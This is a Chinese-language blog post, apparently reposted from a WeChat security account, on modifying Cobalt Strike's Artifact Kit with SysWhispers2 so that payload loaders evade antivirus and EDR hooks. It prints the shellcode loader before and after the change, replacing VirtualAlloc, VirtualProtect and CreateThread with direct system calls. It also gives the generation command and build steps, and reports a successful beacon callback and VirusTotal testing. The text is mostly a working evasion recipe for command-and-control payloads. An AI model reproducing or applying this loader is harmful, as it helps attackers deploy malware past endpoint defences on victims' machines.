接上篇文章,简单分析了Artifact Kit 的源码后,我们搞清楚了Cobalt Strike生成artifact的原理,以及Artifact Kit用到的一些免杀手法,本篇将结合上篇末尾的参考文章的思路进行实践。Artifact Kit配合Syswhispers2工具实现对AV/EDR的部分API监控进行绕过,参考文章链接如下所示:
https://br-sn.github.io/Implementing-Syscalls-In-The-CobaltStrike-Artifact-Kit/
SysWhispers功能
SysWhispers 通过生成植入程序可以用来进行直接系统调用的头文件/ASM 文件来帮助规避,支持所有核心的系统调用,这意味着可以不再需要依赖 ntdll.dll 中 API 调用,这些调用通常被 EDR 挂钩。相反,我们可以使用SysWhispers 生成的标头/ASM 对直接执行相关的系统调用。首先需要弄清楚的是要替换哪些 API 调用,然后为这些未记录的函数提供参数。
这里我们使用Artifact Kit中的bypass-peek功能做个举例,创建项目,将Artifact Kit文件复制到项目中,然后观察下可以使用系统调用替换的函数。
很快在patch.c中可以发现有三个被AV/EDR经常监控的API,VirtualAlloc,VirtualProtect和CreateThread函数,接下来用SysWhispers将其替换为系统调用。
void spawn(void * buffer, int length, char * key) {
DWORD old;
/* allocate the memory for our decoded payload */
void * ptr = VirtualAlloc(0, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int x;
for (x = 0; x < length; x++) {
char temp = *((char *)buffer + x) ^ key[x % 4];
*((char *)ptr + x) = temp;
}
/* propagate our key function pointers to our payload */
set_key_pointers(ptr);
/* change permissions to allow payload to run */
VirtualProtect(ptr, length, PAGE_EXECUTE_READ, &old);
/* spawn a thread with our data */
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run, ptr, 0, NULL);
}
SysWhispers使用方法
SysWhispers支持的API列表如下所示:
-
NtCreateProcess (CreateProcess) -
NtCreateThreadEx (CreateRemoteThread) -
NtOpenProcess (OpenProcess) -
NtOpenThread (OpenThread) -
NtSuspendProcess -
NtSuspendThread (SuspendThread) -
NtResumeProcess -
NtResumeThread (ResumeThread) -
NtGetContextThread (GetThreadContext) -
NtSetContextThread (SetThreadContext) -
NtClose (CloseHandle) -
NtReadVirtualMemory (ReadProcessMemory) -
NtWriteVirtualMemory (WriteProcessMemory) -
NtAllocateVirtualMemory (VirtualAllocEx) -
NtProtectVirtualMemory (VirtualProtectEx) -
NtFreeVirtualMemory (VirtualFreeEx) -
NtQuerySystemInformation (GetSystemInfo) -
NtQueryDirectoryFile -
NtQueryInformationFile -
NtQueryInformationProcess -
NtQueryInformationThread -
NtCreateSection (CreateFileMapping) -
NtOpenSection -
NtMapViewOfSection -
NtUnmapViewOfSection -
NtAdjustPrivilegesToken (AdjustTokenPrivileges) -
NtDeviceIoControlFile (DeviceIoControl) -
NtQueueApcThread (QueueUserAPC) -
NtWaitForMultipleObjects (WaitForMultipleObjectsEx)
把项目https://github.com/jthuraisamy/SysWhispers2下载到本地,然后执行命令,
python syswhispers.py -f NtProtectVirtualMemory,NtAllocateVirtualMemory,NtCreateThreadEx -o syscalls
其中 **-f 表示要用来替换的系统调用函数,参照上面的列表,用逗号隔开,-o **表示输出的文件名称,运行成功后会生成三个文件,需要复制到项目中去。
结合流程
-
将生成的 H/C/ASM 文件复制到项目文件夹中。
-
在 Visual Studio 的解决方案资源管理器中,将 .h 和 .c/.asm 文件分别作为头文件和源文件添加到项目中。
-
在 Visual Studio 中,打开项目 ——> 生成自定义 ,并启用 masm。
-
转到 ASM 文件的属性,并将项类型设置为Microsoft Macro Assembler。
-
SysWhispers2只支持生成x64项目,如果要生成x86项目需要使用mai1zhi2师傅的https://github.com/mai1zhi2/SysWhispers2_x86项目,和SysWhispers2的使用方法差不多,把文件导入项目即可。
接下来就可以在patch.c中替换三个函数了,替换结果如下所示:
void spawn(void * buffer, int length, char * key) {
HANDLE hProc = GetCurrentProcess();
DWORD oldprotect = 0;
PVOID ptr = NULL;
HANDLE thandle = NULL;
/* allocate the memory for our decoded payload */
NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &ptr, 0, (PSIZE_T)&length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int x;
for (x = 0; x < length; x++) {
char temp = *((char *)buffer + x) ^ key[x % 4];
*((char *)ptr + x) = temp;
}
/* propagate our key function pointers to our payload */
set_key_pointers(ptr);
/* change permissions to allow payload to run */
NTSTATUS NTPVM = NtProtectVirtualMemory(hProc, &ptr, (PSIZE_T)&length, PAGE_EXECUTE_READ, &oldprotect);
/* spawn a thread with our data */
NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, ptr, NULL, FALSE, 0, 0, 0, NULL);
WaitForSingleObject(thandle, INFINITE);
free(ptr);
}
然后就可以编译了,编译出来看下导出表,现在任何静态检查导入表的程序都无法得知其如何调用三个API了
功能测试
将程序和目录中的同功能程序做替换,比如上面这个程序需要和artifact64.exe做替换,在Cobalt Strike中对应的生成操作是生成64-bit staged artifact,如果要生成stagless artifact,需要按照build.sh的规范,将DATA_SIZE=271360。为了满足所有Cobalt Strike的生成artifact方法,按照如上方法创建了6个项目,dll需要创建动态链接库项目,其他和exe同理。
编译后,将文件替换加载cna脚本进行测试,上传VT结果(只是测试,建议测试杀软不要直接上传VT,挨个虚拟机测试):
正常上线
还有个问题需要解决,Artifact Kit 的shellcode默认使用的是xor 四字节加密,容易被识别,为了解决这个问题后续需要对cna脚本进行修改,还有添加一些新的反调试反vm手段。
文中提到的相关代码已上传至知识星球。
参考文章和项目
-
https://br-sn.github.io/Implementing-Syscalls-In-The-CobaltStrike-Artifact-Kit/ -
https://github.com/jthuraisamy/SysWhispers2 -
https://github.com/mai1zhi2/SysWhispers2_x86
本文始发于微信公众号(宽字节安全):结合 Artifact Kit 和 Syswhispers 绕过AV/EDR
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论